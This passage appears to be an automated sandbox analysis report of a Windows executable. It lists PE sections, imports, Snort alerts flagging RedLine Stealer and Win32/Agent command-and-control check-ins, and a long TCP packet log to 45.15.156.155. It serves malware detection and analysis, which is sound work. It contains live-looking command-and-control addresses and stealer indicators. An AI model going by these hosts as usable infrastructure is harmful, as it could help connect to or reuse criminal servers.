IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5744	0x5800	False	0.2902610085227273	data	5.7690766906107624	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x7000	0x22bc4	0x22c00	False	0.7464661083633094	dBase III DBT, version number 0, next free block index 10, 1st item "\313a\243\037\303\024\345\3452\321\011*\331\014\364\004\3312\304R\341%\253.\360z\356 \270\017\256\013\333\036\347,\330&\314\021\374\024\3446\360\007\3106\306+\230\016\371f\346\037\2769\366W\373O\3374\352\004\376\271w\227\210\212\322\264\335<\3622\270V\251\313\227\373\353\217\374\037\213\271\316\013\010QU\356<\216\226\326D\210\212\2465\032\363q\353\325\243\250\313\227\375v\220\360\262\204\270\316\215\277(\352\352"	7.2752735434172155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2a000	0x110c	0x1200	False	0.8461371527777778	data	7.059813926037005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
/4	0x2c000	0x900	0xa00	False	0.38515625	data	4.4195661651923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x2d000	0xc0	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e000	0x490	0x600	False	0.365234375	data	4.120472635035583	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x2f000	0x30	0x200	False	0.0625	data	0.21310128450968063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x30000	0x8	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x31000	0x8cc	0xa00	False	0.7796875	data	6.369097447770511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/14	0x32000	0x38	0x200	False	0.068359375	Matlab v4 mat-file (little endian) *, rows 2, columns 262144	0.2162069074398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/29	0x33000	0xf80	0x1000	False	0.397216796875	Matlab v4 mat-file (little endian) :f@, rows 2, columns 17039360	5.304110148387333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/41	0x34000	0xaf	0x200	False	0.29296875	data	2.108183273083511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/55	0x35000	0x108	0x200	False	0.306640625	data	3.0314514395121157	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/67	0x36000	0x38	0x200	False	0.1171875	data	0.6706702948489234	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/80	0x37000	0x9c	0x200	False	0.267578125	data	2.3466189565208464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, FreeConsole, FreeLibrary, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, InitializeCriticalSection, LeaveCriticalSection, LoadLibraryA, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery
msvcrt.dll	__getmainargs, __initenv, __p__acmdln, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _initterm, _iob, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, strlen, strncmp, vfprintf

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3172.66.43.60497064432039616 12/05/22-06:45:13.017981	TCP	2039616	ET TROJAN Win32/Agent.AETZ CnC Checkin	49706	443	192.168.2.3	172.66.43.60
45.15.156.155192.168.2.380496942850353 12/05/22-06:44:13.797905	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	80	49694	45.15.156.155	192.168.2.3
192.168.2.345.15.156.15549694802850286 12/05/22-06:44:29.193063	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49694	80	192.168.2.3	45.15.156.155
192.168.2.345.15.156.15549694802850027 12/05/22-06:44:11.021338	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49694	80	192.168.2.3	45.15.156.155

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2022 06:44:10.676044941 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:10.705796957 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:10.706115007 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:11.021337986 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:11.050893068 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:11.117930889 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:11.160656929 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:13.700942039 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:13.730314970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:13.797904968 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:13.848310947 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:22.619240999 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:22.648648024 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:22.718277931 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:22.718317032 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:22.718342066 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:22.718365908 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:22.718432903 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:22.718514919 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.317311049 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.346853971 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.346976995 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347074986 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347074986 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347114086 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347187996 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347192049 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347263098 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347265005 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347296953 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347340107 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347388029 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347395897 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347465038 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347476959 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347544909 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347549915 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347609997 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.347619057 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.347698927 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.376920938 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.376969099 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377037048 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377065897 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377202034 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377202034 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377213001 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377247095 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377316952 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377362013 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377388954 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377428055 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377487898 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377512932 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377599001 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377599001 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377717972 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377814054 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377857924 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377890110 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.377942085 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.377971888 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407059908 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407335043 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407332897 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407375097 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407504082 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407504082 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407526970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407599926 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407603025 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407663107 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407668114 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407702923 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407748938 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407816887 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407824993 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407859087 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407886982 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407916069 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407927990 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407947063 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407978058 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.407990932 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407990932 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.407991886 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.408009052 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408039093 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408040047 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.408040047 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.408067942 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408077002 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.408097982 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408127069 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408155918 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408165932 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.408165932 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.408288002 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408318043 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408349991 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408380032 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408407927 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408489943 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408519983 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.408548117 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.417486906 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.437515974 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.437566996 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.437650919 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.437689066 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.437717915 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.437752008 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.437781096 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438066959 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438080072 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438080072 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438080072 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438098907 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438131094 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438163042 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438173056 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438173056 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438173056 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438173056 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438194036 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438221931 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438221931 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438225985 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438221931 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438266039 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438282013 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438282013 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438312054 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438321114 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438321114 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438345909 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438347101 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438376904 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438410044 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438416004 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438416004 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.438478947 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438510895 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438541889 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438570023 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438597918 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438705921 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438739061 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438766956 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438797951 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438832045 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438862085 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438924074 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.438954115 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439039946 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439069986 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439099073 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439179897 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439259052 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439289093 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439317942 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.439800978 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.446822882 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.446857929 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.446911097 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.446939945 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.446968079 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.446968079 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.446973085 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447006941 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447038889 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447069883 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447150946 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447180033 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447259903 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447290897 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447412014 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447621107 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.447650909 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.467879057 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468031883 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468200922 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468235016 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468413115 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468446970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468498945 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468563080 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468595028 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468625069 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468729019 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468763113 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468792915 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468878984 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468909979 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.468997002 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469124079 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469157934 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469187021 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469285965 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469316959 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469346046 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469491005 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469521046 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469551086 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469579935 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469608068 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469636917 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469666958 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469696999 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469805956 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469835043 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469866991 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469897985 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.469995975 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470026970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470057964 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470086098 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470115900 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470144987 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470175982 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470176935 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.470338106 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.470469952 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470500946 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470530987 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470561028 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470632076 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.470660925 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471093893 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471201897 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471231937 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471309900 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471384048 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471410990 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471438885 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471468925 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471497059 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471524954 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471673965 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471700907 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471733093 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471760988 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471843004 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471870899 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471899986 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471929073 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.471956015 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472032070 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472062111 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472127914 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472204924 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472234011 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472263098 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472291946 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.472371101 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.476202965 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.476236105 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.476366997 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.476397991 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.477660894 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.477819920 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.499676943 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.499727964 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.499763012 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.499933958 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.499964952 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.499998093 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500029087 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500057936 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500086069 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500210047 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500240088 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500575066 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500638962 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.500857115 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501044989 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501168966 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501322031 CET	80	49694	45.15.156.155	192.168.2.3
